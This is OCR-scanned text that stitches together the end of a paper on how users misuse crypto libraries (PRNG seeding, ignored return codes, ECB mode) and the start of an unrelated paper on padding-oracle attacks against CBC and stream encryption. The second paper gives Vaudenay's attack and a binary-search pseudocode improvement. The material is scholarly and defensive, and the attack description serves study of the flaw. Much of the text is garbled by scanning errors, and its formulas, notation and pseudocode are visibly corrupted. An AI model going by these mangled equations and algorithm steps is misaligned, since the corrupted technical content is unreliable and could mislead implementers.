unseeded generator to seed the generator (by the same 
person who had originally solved the problem by 
downgrading to 0.9.4, after it was pointed out that this 
was a bad idea) [51], and using the string 
“0123456789A BCDEFO” [52]. Another alternative, 
suggested in a Usenet news posting, was to patch the 
code to disable the entropy check and allow the 
generator to run on empty (this magical fix has since 
been independently rediscovered by others [53]). In 
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later versions of the code which used /dev/random if it 
was present on the system, another possible fix was to 
open a random disk file and let the code read from that 
thinking it was reading the randomness device [54]. It 
Is likely that considerably more effort and ingenuity has 
been expended towards seeding the generator 
incorrectly than ever went into doing it right. 


The problem of inadequate seeding of the generator 
became so common that a special entry was added to 
the OpenSSL frequently-asked-questions (FAQ) list 
telling users what to do when their previously-fine 
application stopped working when they upgraded to 
version 0.9.5 [55], and since this still didn’t appear to 
be sufficient later versions of the code were changed to 
display the FAQ’s URL in the error message which was 
printed when the PRNG wasn’t seeded. Based on 
comments on the OpenSSL developers list, quite a 
number of third-party applications which used the code 
were experiencing problems with the improved random 
number handling code in the new release, indicating 
that they were working with low-security 
cryptovariables and probably had been doing so for 
years. Because of this problem, a good basis for an 
attack on an application based on a version of 
SSLeay/OpenSSL before 0.9.5 is to assume the PRNG 
was never seeded, and for versions after 0.9.5 to assume 
it was seeded with the string “string to make the 
random number generator think it has entropy”, a value 
which appeared in one of the test programs included 
with the code and which appears to be a favourite of 
users trying to make the generator “work”. 


The fact that this section has concentrated on 
SSLeay/OpenSSL seceding 1s not meant as a criticism of 
the software, the change in 0.9.5 merely served to 
provide a useful indication of how widespread the 
problem of inadequate initialisation really is. Helpful 
advice on bypassing the seeding of other generators (for 
example the one in the Java JCE) has appeared on other 
mailing lists. The practical experience provided by 
cases such as the ones given above shows how 
dangerous it 1s to rely on users to correctly initialise a 
generator — not only will they not perform it correctly, 
they’ Il go out of their way to do it wrong. Although 
there is nothing much wrong. with the 
SSLeay/OpenSSL generator itself, the fact that its 
design assumes that users will initialise it correctly 
means that it (and many other user-seeded generators) 
will in many cases not function as required. 


If a security-related problem is difficult 
for a crypto developer to solve, there is no 
way a non-crypto user can be expected to 
solve it. Don’t leave hard problems as an 
exercise for the user. 


In the above case the generator should handle not only 
the PRNG step but also the entropy-gathering step 
itself, while still providing a means of accepting user 
optional entropy data for those users who do bother to 
Initialise the generator correctly. As a generalisation, 
crypto software should not leave difficult problems to 
the user in the hope that they can somehow 
miraculously come up with a solution where the crypto 
developer has failed. 


3.7 This Function can Never Fail 


A few years ago a product was developed which 
employed the standard technique of using RSA to wrap 
a symmetric encryption key such as a triple DES key 
which was then used to encrypt the messages being 
exchanged (compare this with the RSA usage described 
In section 3.5). The output was cxamined during the 
pre-release testing and was found to be tn the correct 
format, with the data payload appropriately encrypted. 
Then one day one of the testers noticed that a few bytes 
of the RSA-wrapped key data were the same in each 
message. A bit of digging revealed that the key 
parameters being passed to the RSA encryption code 
were slightly wrong, and the function was failing with 
an error code indicating what the problem was. Since 
this was a function which couldn’t fail, the programmer 
hadn’t checked the return code but had simply passed 
the (random-looking but unencrypted) result on to the 
next piece of code. At the receiving end, the same 
thing occurred, with the unencrypted symmetric key 
being left untouched by the RSA decryption code. 
Everything appeared to work fine, the data was 
encrypted and decrypted by the sender and receiver, 
and it was only the eagle eyes of the tester which 
noticed that the key being used to perform the 
encryption was sitting in plain sight near the start of 
each message. 


Another example of this problem occurred in Microsoft 
Internet Information Server (IIS), which tends to fail in 
odd ways under load, a problem shared with MS 
Outlook, which will quietly disable virus scanning 
when the load becomes high enough so that as much as 
90% of incoming mail is never scanned for viruses [56]. 
In this case the failure was caused by a race condition 
im which one thread received and decrypted data from 
the user while a second thread, which used the same 
buffer for its data, took the decrypted data and sent it 
back to the user. As a result, when under load IIS was 
sending user data submitted over an SSL connection 
back to the user unencrypted [57][{58]. The fix was to 
use two buffers, one for plaintext and one for 
ciphertext, and zero out the ciphertext buffer between 
calls. As a result, when the problem occurred, the 
worst which could happen was that the other side was 
sent an all-zero buffer [9]. 
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To avoid problems of this kind, implementations should 
be designed to fail safe even if the caller ignores return 
codes. A straightforward way to do this 1s to set output 
data to a non-value (for example fill buffers with zeroes 
and set numeric or boolean values to —1) as the first 
Operation in the function being called, and to move the 
result data to the output as the last operation before 
returning to the caller on successful completion. I[n this 
way if the function returns at any earlier point with an 
error slatus, no sensitive data will leak back to the 
caller, and the fact that a failure has taken place will be 
obvious even if the function return code is ignored. 


Make security-critical functions fail 
obviously even if the user ignores return 
codes. 


Another possible solution 1s to require that functions 
use handles to state information (similar to file or BSD 
sockets handles) which record error state information 
and prevent any further operations from occurring until 
the error condition ts explicitly cleared by the user. 
This error-state-propagation mechanism helps make the 
fact that an error has occurred more obvious to the user, 
even if they only check the return status at the end ofa 
sequence of function calls, or at sporadic intervals. 


3.8 Careful with that Axe, Eugene 


The functionality provided by crypto libraries constitute 
a powerful tool. However, like other tools, the potenttal 
for misuse in tnexpertenced hands 1s always present. 
Crypto protocol design ts a subtle art, and most users 
who cobble their own implementations together from a 
collection of RSA and 3DES code will get it wrong. In 
this case “wrong” doesn’t refer to (for example) 
missing a subtle flaw in Needham-Schroeder key 
exchange, but to errors such as using ECB mode (which 
doesn’t hide plaintext data patterns) instead of CBC 
(which does). 


The use of ECB mode, which is simple and 
Straightforward and doesn’t require handling of 
initialisation vectors (IVs) and block chaining and 
synchronisation issues its depressingly widespread 
among users of basic collections of encryption routines, 
despite this being warned against in every crypto 
textbook. Confusion over block cipher chaining modes 
is a significant enough problem that several crypto 


libraries include FAQ entries explaining what to do tf 


the first 8 bytes of decrypted data appear to be 
corrupted, an indication that the IV wasn’t set up 
properly. 

As if the use of ECB itself wasn’t bad enough, users 


often compound the error with further implementation 
simplifications. For example one vendor chose to 
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implement their VPN using triple DES tn ECB mode, 
which they saw as the simplest to implement since tt 
doesn’t require any synchronisation management if 
packets are lost. Since ECB mode can only encrypt 
data in multiples of the cipher block size, they didn’t 
encrypt any leftover bytes at the end of the packet. The 
interaction of this processing mechanism with 
interactive user logins, which frequently transmit the 
user name and password one character at a time, can be 
imagined by the reader. 


The issue which needs to be addressed here ts that the 
average user hasn’t read any crypto books, or has at 
best had some brief exposure to portions of a popular 
text such as Applied Cryptography, and simply isn’t 
able to operate complex (and potentially dangerous) 
crypto machinery without any real training. The 
solution to this problem 1s for developers of libraries to 
provide crypto functionality at the highest level 
possible, and to discourage the use of low-level routines 
by inexperienced users. The job of the crypto library 
should be to protect users from injuring themselves 
(and others) through the misuse of basic crypto 
routines. 


Instead of “encrypt a series of data blocks using 3DES 
with a 192-bit key”, users should be able to exercise 
functionality such as “encrypt a file with a password”, 
which (apart from storing the key tn plaintext in the 
Windows registry) is almost impossible to misuse. 
Although the function itself may use an iterated HMAC 
hash to turn the password into a key, compress and 
MAC the file for space-efficient storage and integrity- 
protection, and finally encrypt it using (correctly- 
implemented) 3DES-CBC, the user doesn’t have to 
know (or care) about this. 


Provide crypto functionality at the highest 
level possible in order to prevent users 
from injuring themselves and others 
through misuse of low-level crypto 
functions with properties they aren't 
aware of. 


4. Conclusion 


Although snake oil crypto ts rapidly becoming a thing 
of the past, its position ts being taken up by a new breed 
of snake oil, naugahyde crypto, which misuses good 
crypto in a manner which makes tt little more effective 
than the more traditional snake oil. This paper has 
covered some of the more common ways tn which 
crypto and security software can be misused by users. 
Each individual problem area 1s accompanied (where 
possible) by guidelines for measures which can help 
combat potential misuse, or at least warn developers 
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that this is an area which ts likely to cause problems 
with users. It ts hoped that this work will help reduce 
the incidence of naugahyde crypto in use today. 


Unfortunately the single largest class of problems, key 
management, can’t be solved as easily as the other 
ones. Solving this extremely hard problem in a manner 
practical enough to ensure uses won’t bypass it for 
ease-of-use or economic reasons will require a multi- 
faceted approach involving better key management user 
interfaces, user-certified or provided keys of the kind 
used by PGP, application-specific key management 
such as that used with ssh, and a variety of other 
approaches [59]. Until the key management task Is 
made much more practical, “solutions” of the kind 
presented in this paper will continue to be widely 
employed. 
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Abstract 


Vandenay recently demonstrated side-channel at- 
tacks on a coinmon encryption scheme, CBC Mode 
encryption, exploiting a “valid padding” oracle 
[Vau02]. Mirroring the side-channel attacks of Ble- 
ichenbacher [Ble98] and Manger [Man01] on asym- 
metric schemes, he showed that symmetric cucryp- 
tion methods are just as vulnerable to side-channel 
weaknesses when an adversary is able to distinguish 
between valid and invalid ciphertexts. 


Onur paper demonstrates that such attacks are per- 
vasive when the integrity of ciphertexts is not euar- 
anteed. We first review Vaudenday’s attack and 
give a slightly more efficient version of it. We then 
ecneralize the attack in several directions, consicler- 
ing various padding schemes, other symmetric en- 
cryption schemes, aud. other side-channels, demou- 
strating attacks of various strengths against cach. 
I'inally we argue that the best way to prevent all 
of these attacks is to insist on integrity of cipher- 
texts [BNOO] in addition to semantic security as the 
“proper” notion of privacy for symmetric encryption 
schemes. 


1 Introduction 


Iollowing the chosen-ciphertext attack of Bleichen- 
bacher, RSA PISCS #1 v.1 was abandoned in favor 
of a scheme with chosen-ciphertext security (CCA) 
[Ble98, Pub98]. It is now expected that any new 
public-key cryptosysteims will provide CCA security. 
However most symmetric encryption schemes at- 


tai, at best, semantic security against chosen plazn- 
text attacks [BDJR97]. 


Vandenay recently demonstrated a side-chanuel at- 
tack against CBC Mode encryption with CBC-PAD 
[Van02, BR96]. Given an oracle which reveals 
whether or not the plaintext (corresponding to some 
altered ciphertext) is correctly paclded, he showed 
that one can efficiently recover the plaintext. 


A reasonable reaction to this attack is to seek other 
padding methods or other eneryption schemes which 
do not succuuh to this particular attack. However, 
as we show, this tvpe of weakness is pervasive: it 
occurs for many natural padding schemes, and in 
most common cneryption schemes. Vaucdenay’s pa- 
per focuses on the CBC-PAD padding inethod and 
coraments on a few others. In this paper we exami 
ine several classes of padding schemes and show it 
is actually quite rare for CBC to retain semantic 
security in the presence of a “valid padding” ora- 
cle when using any of these schemes, including the 
commonly-used 10* padding where one pads by ap- 
pending a single 1 bit and then zero or more 0 bits. 
We also show that all other commonly-used sym- 
metric encryption schemes are similarly vulnerable 
in the prescence of a “valid padding” oracle. 


It is most-likely possible to get around these weak- 
nesses by ridding ourselves of the oracle in one way 
or another. However one can easily imagine other 
oracles which might arise in practice which would 
provide sinular powers to the adversary if he retains 
the ability to to freely induce predictable changes 
in the plaintext: via modification of the ciphertext. 
lor example, imagine a cryptographic relay which 
accepts ciphertext encryptecl by one scheme ancl 
outputs ciphertext under another [JDKT91]. If the 
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first scheme uses some padding method and the sec- 
ond is length-revealing, we effectively have an oracle 
which divulges the length of the padding used by the 
first scheme. There are doubtless other examples as 
well. Therefore our view is this: these weaknesses 
are not faults of padding schemes or relays or any- 
thing of this nature; they follow directly from the 
fact that an adversary can reliably and efficiently 
produce valid ciphertexts which have a predictalle 
relationship with the underlying plaintext, even if 
he knows virtually nothing about. the plaintext. 


Several schemes have been proposed to provide au- 
thenticity of ciphertexts at a very low cost, [BNOO, 
Jut01, RBBKO1]. Our hope is that, similar to 
the public-key domain, researchers and practition- 
ers will insist on this stronger notion of security for 
syimrmetric encryption to obviate the simple weak- 
nesses listed above. 


CONTRIBUTIONS. This paper makes a number of 
observations concerning the power of possessing a 
valid-padding oracle. Our starting point is the at- 
tack on CBC Mode encryption with CBC-PAD from 
[Vau02]. We begin by reviewing this attack. Then 


e We describe an improvement to the attack 
which finds the length of the padding in lg(b) 
oracle queries whereas [Vau02] used an ex- 
pected 128) qunerics (here b is the number of 
bytes in a block). 


e We generalize padding incthods by exploring 
other types of natural schemes which variously 
resist and succumb to similar attacks. 


e We exhibit a padding method which essentially 
removes the oracle, and therefore defeats the 
attack altogether. 


e We generalize the attack to other encryption 
schemes showing that other common methods 
for symmetric encryption (CTR, OFB, CFB, 
and stream ciphers) all possess the required 
weaknesses which permit this type of attack. 


Finally, we argue that such side-channels are bound 
to crop up again and again as long as we allow 
the adversary to freely manipulate ciphertexts, and 
we argue in favor of adopting the combination of 
chosen-plaintext security and integrity of cipher- 
texts [BNOO] as the standard requirement for sym- 
metric encryption schemes, even when privacy is the 
only goal. 
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RELATED WorK. CBC Mode encryption has the 
property that flipping a particular bit in the i-th 
block of ciphertext will flip the same bit in the 7+ 1- 
st block of underlying plaintext. The fact that. this 
property can be exploited by attackers has been 
known for soine time. Bellovin published an at- 
tack on CBC where the IV was altered to effect a 
change in the first block of the received plaintext. 
[Bcl96]. Also in [Bel96], an attack (very similar to 
the attacks in this paper) is described which recov- 
ers plaintext bits by sending altered ciphertexts to 
a TCP peer which then acts as a validity oracle for 
each packet by cither dropping it or returning an 
ACK for it. A cleaner exainple of this attack is de- 
scribed in an attack on WEP by Borisov, Goldberg, 
and Wagner [BGWO]1]. 


Bleichenbacher demonstrated that side-channels in 
the asymmetric setting could be used to mount a 
chosen-ciphertext attack against RSA PKCS #1 v.1 
([Ble98]. Bleichenbacher’s side-channel was a “valid 
formatting” oracle similar in spirit to the “valid 
padding” oracle used by Vaudenay. Manger fol- 
lowed this by showing how RSA PKCS #1 v.2, a 
scheme with chosen-ciphertext security (in the ran- 
dom oracle model), could be similarly exploited as- 
suming a different side-channel [Man01]. Manger’s 
side-channel requires an oracle indicating that an er- 
ror occurred between the decryption and integrity- 
check phases of the algorithm. In a more theoretical 
setting, Krawczyk showed how a stream encryption 
mode (under an unusual plaintext. encoding) com- 
bined with a MAC would yield a side-channel at- 
tack based on message validity if the order was cn- 
code, then authenticate, then encrypt [Kra01]. His 
goal was to show that this ordering of primitives 
was not. generically secure. Vaudenay was the first. 
to show that message padding might create similar 
side-channels under CBC Mode encryption [Vau02]. 
Ilis attack requires an oracle indicating whether or 
not the padding of an underlying plaintext is valid. 


2 Preliminaries 


NOTATION. For any nonnegative integer 7, let. 
{0,1}" represent the sect of bit strings of length n. 
Let € represent the empty string. For two strings A 
and B we write A|| B or simply AB to denote their 
concatenation. For the XOR. of A and B we write 
A® B. Let ||A]| denote the length of A in bytes, 
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and |A] the length of A in bits. We write Ali] to 
mean the ith bit of A, counting from zero, starting 
from the leftmost bit of A. We write A[i...j] to 
mean the substring of A starting at position 7 and 
ending at position ). 


In general. if S is a set we write S* to mean 1 or 
more repetitions of elements from S; that is, the set. 
15180 °* “wn | Pe> 0, sre 5S, <2 5 mh. 


A function famay from o-bits to n-hits is a map 
FE: K x {0,1}" — {0,1}" where K is a finite. set. of 
strings, typically the set of strings all of some fixed 
length. It is a block cipher if each Ex (-) = EUK, -) is 
a pernmitation. We can build an encryption scheme 
fromm a block cipher using any of various standard 
inodes of operation. 


CBC Mopr ENcrRypTION. Given a block cipher 
Boe Sci x {0,1¥" — {0,1}", a k-bit blawk- 
cipher key K, and some message M € ({0,1}")*, 
we write VW as the concatenation of € strings each 
n-bits long, AZ = Al, Alg--- Ade. To encrypt MM un- 
der key K, we randomly select an n-bit value, the 
IV, and set Co — IV. We then coipute Cy +<- 
Ex (M @Ci-1) for each 1 <4 < &. The ciphertext 
is IV,C,Co°++Ce). In the standard model, CBC 
is provably-secure against chosen-plaintext attack 
with good bounds: assuming the underlying block 
cipher is “good,” an adversary has little chance to 
distinguish the CBC Mode encryption of a given 
plaintext from: the CBC Mode encryption of ran- 
dom bits. (lor a precise definition and proof, see 
(BDJR97].) 


PADDING. The above description assiunes that the 
length of AM is a multiple of the block size n. In 
practice this nay not be the case, and therefore 
it is common to apply a padding function PAD : 
{0,1}* — ({0,1}")* to M. We say a padding fune- 
tion is reversible if the function is injective; in other 
words, reversible means one can always uniquely re- 
cover M given PAD(M/). Most applications require 
the padding function to be reversible. Often the 
padding function brings |.47| up to the next multiple 
of 72, but nothing precludes expanding Ad even fur- 
ther; indeed, SSL will sometimes add several blocks 
of padding when using CBC-PAD. 





We consider two classes of padding: byte-orientecl 
padding and bit-oriented padding. Byte-oriented 
padding functions assume that both 2 and |AZ| are 


multiples of & Bytes are then appended to the end 
of Af in some well-defined manner to bring its length 
up to a multiple of a. Bit-oriented padding finc- 
tioms take a message Af of any bit-length and ap- 
pend bits to A to bring |A/| up to a multiple of 1. 


3 The Attack of Vaudenay and an 
Improvement 


We uow sketch Vaudenay’s attack from [Vau02] 
which will serve as a warm-up for later cliscussion. 
We also show an improvement which det-erminist.i- 
cally finds the length of the padding in lg(d) oracle 
queries, where 0 is the number of bytes per block. 


CBC-PAD. The well-known CBC-PAD function 
[BR96] is byte-oriented: CBCPAD : ({0,1}°)+ = 
({0.1}")*. Assume |AZ| is a multiple of 8, and let 
n = 8b (for virtually all real block ciphers, 6 is at 
most 32). Let p = ||AZ|| mod b, so p is the number 
of bytes we must pad (assuming we wish to add the 
least. possible amount of padding). If p = 0, we set 
y=. Finally. we write p as a byte and append it p 
times to the end of AY. So if there is one byte left. to 
pad, we append a single 01 to M; if there are two 
bvtes of pad needed we append 02 02 to AZ, and 
so forth. Clearly this method is reversible: given 
CBCPAD(AZ) we can uniquely recover M. 





Although CBCPAD(-) is reversible, it is not bijec- 
tive: what should the receiver do after decryption 
if he finds that. the recovered plaintext is not in the 
function's range? That is, what is the proper action 
if the padding is invalid? This of course depends on 
a implementation detail. Some protocols specify 
that the session be torn down (SSL/TLS), others 
just log the error (ESP [KA98]), and others return 
an error message (WTLS [Wir01]). Vaudenay re- 
cently mace the observation that if one can asccr- 
tain somehow the padding error status, it can be 
used as a side-channel to mount a chosen-ciphertext 
attack in the symmetric-key setting [Vau02]. He 
showed how, given an oracle O which accepts a ci- 
phertext and returns either VALID or INVALID cle- 
pending on whether the corresponding plaintext is 
properly padded, one can recover the underlying 
plaintext. His attack requires a single ciphertext, 
and a number of oracle queries proportional to the 
niunber of bytes in the padded message. 
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Figure 1: CBC Mode Decryption. Fixing Cy and flipping any bit of Ce, flips the corresponding bit 


of Mp. 


THE ATTACK. Let’s say we have an oracle © as 
described above: © accepts ciphertexts, decrypts 
using CBC under the secret key AK, and recovers 
the corresponding plaintext JW’. If A’ is correctly 
padded (ie, AZ’ = CBCPAD(A/) for some MW), then 
© returns VALID. Otherwise © returns INVALID. 
We now mount a chosen-ciphertext. attack on CBC 
Mode encryption. (A point of clarification: nor- 
mally a “chosen-ciphertext attack” implies that we 
have access to a decryption oracle which supplies 
the plaintexts for ciphertexts of our choice. Here 
we have something different: an oracle which does 
accept ciphertexts but returns only a bit. It is im- 
portant to keep this distinction in mind.) 


The attack works as follows: we obtain some ci- 
phertext C' under the secret key K. For simplicity, 
suppose C is two blocks (IV, C,). (The attack gen- 
eralizes easily to longer ciphertexts.) As shown in 
Figure 1, the oracle will compute the CBC Mode de- 
cryption of C' in the standard way, and any changes 
to IV will cause changes to the plaintext block W). 
Initially, MW, is a correctly-padded block of plain- 
text. However, by manipulating the bits of IV we 
“an cause predictable changes within AZ, and infer 
a great deal about its contents. 


Vaudenay’s attack works in two phases. First he 
randomly flips bits in ITV until O(C) = VALID. 
Once this occurs, we know we must have induced 
an Wi with a proper CBC-PAD. That is, our in- 
duced M; must end in 01, or 02 02, or 03 03 
03, etc. The probability that each occurs is 1/2°, 
or 1/21°, or 1/274, etc., respectively. The event 
O(C’) = VALID should therefore occur in at most 
128 expected queries, and once it. does it. is highly- 
likely that. we induced a 01 in the final byte of Aj. 
(The less-probable cases can be detected with a few 
additional oracle queries.) And once we know the 
value of the final byte in the induced M/{, we know 
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the value of the final byte in MW): say IV’ is the IV 
which induced a 01 in the final byte of AJ;. Then the 
final byte of 4, issimply the final byte of IV’ & 01. 


Vaudenay then iterates the method using the above 
technique as a subroutine. He therefore decrypts ¢ 
block in about 128b expected oracle queries (recall 
b is the number of bytes per block). 


AN IMPROVEMENT. While our inain aim in this pa- 
per is to show how widely we can generalize the 
above ideas, we first note a simple improvemeit 
to the attack above which greatly improves its cff- 
ciency for short messages. 


Suppose we again have a padding oracle O and a 
ciphertext C = (IV,C,). We know that MJ, has 
a valid CBC-PAD as before. We mount a binary 
search to discover which of the b possible pad-values 
was used, as follows: first, notice that inducing a 
change in any padding byte (except. the final byte) 
of MW, will always cause QO to return INVALID. Also 
notice that. inducing a change in any inessage byte 
(ie, a non-padding byte) of At, always causes O to 
return VALID. We may therefore perform a binary 
search by altering a single byte at a time. Number 
the bytes of IV starting from the right end, begin- 
ning from 1. That is, write IV = tp2),_1 °° +2941, 
where each 7; is a byte. Let IV,, be equal to IV but 
with its m-th byte complemented (complementation 
is an arbitrary choice; any change to the m-th byte 
will-dojx . That 18; 1Vig c=" ty tye tartan otis 
where i», denotes bit complementation. We use val- 
ues of 7 from 6 down to 2 to find the length of the 
padding in Az,. Variables IV, Cy, and © are as- 
sumed to be global, and the algorithin is initially 
invoked with FIND-LEN(b, 1). 
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FIND-LEN(#, 7) 
IF 1 =) THEN RETURN 2 
m<— 2] 
IF OUV,,,C,) = INVALID THEN 
FIND-LEN(i, ™) 
ELSE 
FIND-LEN(m — 1,7) 


The algorithm finds the length of the padding in 
lg(b) steps where b is the length of a block in bytes 
and lg() is log,(). So our improved algorithm first 
finds the length of the padding as above, then uses 
Vaudenay’s method on the remainder of the block. 
If we assume the length of the padding is uniformly 
distributed between 1 and 0b, this new algorithm 
finds the plaintext associated to a padded block in 
an expected 64b + Ig(b) oracle queries. This is a 
substantial improvement for short messages only. 


4 Other Padding Methods 


While CBC-PAD is certainly a common byte- 
oriented method, there are several other schemes in 
common use, and some natural ones not in use. We 
now survey the most natural schemes and classify 
their vulnerabilities to this type of attack. The pur- 
pose here is to demonstrate that virtually all com- 
mon padding schemes are vulnerable to some kind of 
attack based on “valid padding” side-channels wn- 
der unauthenticated CBC Mode encryption. Our 
results are summarized in Figure 2. 


For each scheme listed here, we focus on attacking 
single block messages where the ciphertext looks like 
(IV, C,). This generalizes easily to multi-block mes- 
sages since we can attack each block individually by 
using the prior block of ciphertext as an IV. That 
is, given ciphertext (1V, C,, C2,---), we attack block 
7; by attacking the two-block ciphertext (Cj~1, C;) 
where here Cj_, is acting as the IV. 


ESP PappinG (ESP-PAD). The padding scheme 
for IPSec’s Encapsulated Security Payload is similar 
to the CBC-PAD method we saw above. It is a 
reversible byte-oriented padding scheme; if we have 
to pad p > 0 bytes, we append the bytes 01 02 

up to p. As mentioned in [Vau02], a valid-paddiny 
oracle for this method also allows recovery of the 
plaintext; our improvement from Section 3 works 
here as well. 


XY PabvDING (XY-PAD). = This lyte-oriented 
mcthod uses two distinct; public constant byte- 
values X and Y. We transform M/ by first append- 
ing X one time (mandatory), then adding the nec- 
essary number of Y values. Clearly this method is 
reversible: jf is easily recovered after padding by 
removing all trailing Y bytes and the last trailing 
X byte. And once again, this method succiuunbs to 
the attacks described above, including our improve- 
ment froin Section 3, although in this case we must 
take care to avoid converting X to ¥Y when we per- 
form the IV alteration; since we are not constrained 
in how we make this alteration, and since we know 
tlie public values X and Y, we can simply avoid this 
problem. 


OBLIGATORY 10* PAbbING (OZ-PAD). The so- 
called “obligatory 10* padding” is a bit-oriented 
padding scheme; it works as follows: append a 1- 
bit to Af (mandatory) and then zero or more 0-bits 
as necessary to fill out the block. This is the bit- 
oriented version of the XY padding method above, 
and is similarly reversible: remove all trailing 0-bits 
and the last 1-bit. 


But suddenly it seerns the attacks we discussed 
above no longer apply. The key difference is this: 
virtually every plaintext string is a correctly-padded 
string since the only requirement for validity is that 
there is a 1-bit. somewhere. 


This is encouraging in some sense: many standards 
recommend obligatory 10* padding and therefore 
seem more robust against these side-channel at- 
tacks. However, there is one plaintext block which 
is invalid under this padding definition: 0”. Sup- 
pose O were an oracle which accepts CBC-encrypted 
ciphertext. and returns VALID whenever the final 
block of the corresponding plaintext contained at 
least one 1-bit, and INVALID when it was all ze- 
roes. It’s clear that this, once again, enables one 
to entirely recover the plaintext, but there is no ef- 
ficient method tor recovering the plaintext. The 
problem is this: in order to get the oracle to report 
INVALID we must essentially ask O(IV’,C,) where 
IV’ =IV@M,. In other words, we must. guess what 
My, is in order to get a response of INVALID. There- 
fore, our oracle is simply answering “yes” or “no” to 
our guesses about what the plaintext block is. If we 
assume the plaintext is uniform and random, it will 
take an expected 2°-! euesses to guess correctly. 
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Figure 2: Security in the Presence of a Valid-Padding Oracle. For each padding scheme in the 
paper, we list which induce a loss of semantic security in the presence of a valid-padding oracle. Also, when 
the attack first obtains the padding length, we list the number of queries needed to find it for a single block 
(in terms of 6, the number of bytes per block). The expectation in the fina] column is computed assuming 


all plaintext lengths are equally likely. 


However, this is not to say that such an oracle is 
useless. In fact, in the presence of such an ora- 
cle, CBC Mode encryption does not retain seman- 
tic security. One incarnation of semantic security 
plays the following game: we submit a value to an 
oracle and it encrypts either tle value we submit- 
ted or some random value. If we can guess which 
choice it made with probability much larger than 
1/2, we win. Clearly in the presence of our valid- 
padding oracle we can win this game for CBC en- 
cryption with probability essentially 1. We merely 
ask the encryption oracle to encrypt some random 
block Af), it returns ciphertext (IV,C)), then if 
O(IV ¢b AL, C,) = INVALID we know Af, was (with 
overwhelming probability) the value encrypted. 


But what docs this mean in practice? Well, if 
we have a set. of candidate blocks which we sus- 
pect might match the plaintext for a given cipher- 
text block, tle valid-padding oracle will allow us 
to determine which of them, if any, is the correct 
one. This is perhaps not. as far-fetched as it: sounds: 
natural-language plaintexts commonly contain salu- 
tations, addresses, and other standard sections in 
their bodies. Structured documents will often con- 
tain headers with a well-known format. It should 
be desirable to hide all of this information! 


As a final comment: one could eliminate this prob- 
lem by simply defining the block 0” to be a valid 
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block of plaintext and (say) removing it. But we 
must then also be careful to define what happens 
to the preceding block (if any). Do we also remove 
padding bits from it. or do we stop? One virtue of 
10* padding is that it is simple; adding complexity 
to its definition merely increases the chance that we 
will implement O via implementation errors. 


A BYTE-ORIENTED VERSION OF 10* PADDING 
(BOZ-PAD). It might be tempting to implement 
10* padding jin a byte-oriented manner by append- 
ing 0x80 once and then as many 00 bytes as needed 
to fill out the block. This is probably how most 
applications generate padding when they know the 
plaintext will already be byte-aligned and need to 
use 10* padding. If. however, the receiver depends 
on this, and that. dependence is externally mani- 
fested, we once again have a useful valid-padding 
oracle. In other words, if the receiver somehow in- 
dicates whether or not the paclding is 80h followed 
by zero or more 00 bytes, we have a specific instance 
of the XY Padding method mentioned above. 


ARBITRARY-PAIR PADDING (PAIR-PAD). An in- 
teresting try at avoiding the weaknesses involved 
with XY Padding is to allow any distinct: values 
X and Y. The sender is still free to use what- 
ever values he wishes, and they need not. be ran- 
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dom provided they are not fixed public coustants. 
Onee the sender decides ou the X and Y values, 
he pads by appending X once and Y one or more 
times to bring the message up to the desired length. 
(Here we must require Y be appended at least once 
else the padding method is not reversible.) This 
padding method is ideutical bo XY-PAD; the differ- 
ence is in how the padding is removed. The receiver 
allows any two distinct values, so the algorithm to 
remove the padding is to first remove all niatching 
trailing byte values at the end of the string, and 
then also remove the byte preceding these matching 
values. This nearly removes the oracle since, like 
10* padding, nearly all plaintext blocks are correctly 
padded. However, again like 10* padding. there re- 
mains the case where all bytes are equal in a block. 
If we have an oracle telling us when all bytes are 
equal, we can again mount an attack similar to the 
one described for 10* padding. But random e1css- 
ing will not be efficient here since, assuning raudom 
and uniform plaintexts, it would take an expected 
28-8 Guories just to ect an INVALID respouse from 
the oracle. (Although we cannot. tell which byte is 
repeated in the plaintext when we get an INVALID 
from the oracle, we know there are only 256 possi- 
bilities left for the plaintext and assuming it has 
some structure - we should be able to recover the 
plaintext at this point.) 


ARBITRARY-TAIL PADDING (ABYT-PAD). A bet- 
ter byte-oriented padding method is this: the sender 
examines the last byte X of the message Af. Ie 
picks an arbitrary distinet byte-value Y and uses Y 
to pad (if AZ is the empty string, he picks any byte- 
value for Y.) He then pads AY with Y. adding one 
or more bytes of Y to the end of AZ as desired (note 
that he must add at least one!), 


The receiver merely removes all matching trailing 
bytes until either a distinct, byte is found (which 
is left intact) or the empty string is reached. This 
method is clearly reversible, and all plaintexts are 
valid so there is no attack of the type mentioned in 
this paper. The oracle has been removed entirely. 


Notice that the sender need not generate randorn 
values here: he imay instead follow a well-defined 
rule such as 


l. If the final byte of Af is 00, pad with 01. 


2. In all other cases (including AZ = €) pad with 
OO. 


As betore, the receiver cannot depend oi any such 
rue, since otherwise we may ounce again Luaplement 
some oracle suitable for use in an attack. 


A BiT-ORIENTED ANALOG (ABIT-PAD). There 
is an obvious bit-oricuted analog here as well: the 
sender examines the last bit of AY anc pads witl rep- 
etitious of the opposite bit, always adding at least 
one hit of padding. For AJ = e« he pads with Q-bits. 
Once again, all plaintexts are valid and the oracle is 
removed. 


PADDING THE CIPHERTEXT. Another simple ap- 
proach to removing the oracle is to use some length- 
preserving variant of CBC Mode. There are several 
ways of doing this, with “ciphertext stealing” prob- 
ably the most well-known [BR96]. Since there is no 
padding, there is no padding oracle, and the above 
attacks vanish. If there is still a need to pad (be- 
‘ause, for example, we require the ciphertext end 
on an alignment boundary), we could then pad the 
ciphertext. 


Oue problein with this approach is that the length 
of the plaintext is divulged to a bit granularity and 
this may be undesirable. (See the next section for 
futher discussion.) 


5 Strearm-Based Schemes 


Thus far we have focussed exclusively on CBC 
Mode encryption. While CBC Mode encryption is 
certainly ubiquitous, it is by no means the only 
symmetric encryption scherne used. In fact, the 
RC4 stream cipher is often the encryption method 
of choice for SSL/TLS. Other block-cipher modes 
ecnerate streams used as one-time pads as well: 
Output-Feedback Mode (OFB), Cipher-Feedback 
Mode (CFB), and Counter Mode (CTR) all fall into 
this class [MvV96]. It is therefore natural to ask if 
the padding attacks mounted against CBC apply to 
these scheines as well. The answer is: maybe. 


The reason we say “maybe”? is because padding may 
or may not be used with stream-based encryption 
schemes. When encrypting with a pseudorandom 
bit-stream. we are free to use exactly the number 
of bits needed; there is no need to pad. However in 
practice we find it is quite common to add padding 
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Figure 3: Stream-Based Decryption. Similar to 
C'BC. flipping bits in C¢ flip the corresponding bits 
in Af, independent of the key stream used for de- 
cryption. 


even when using stream-based schemes. The moti- 
ration is this: when performing encryption we are 
normally willing to divulge two things: (1) commu- 
nication is taking place, and (2) the length of this 
communication. 


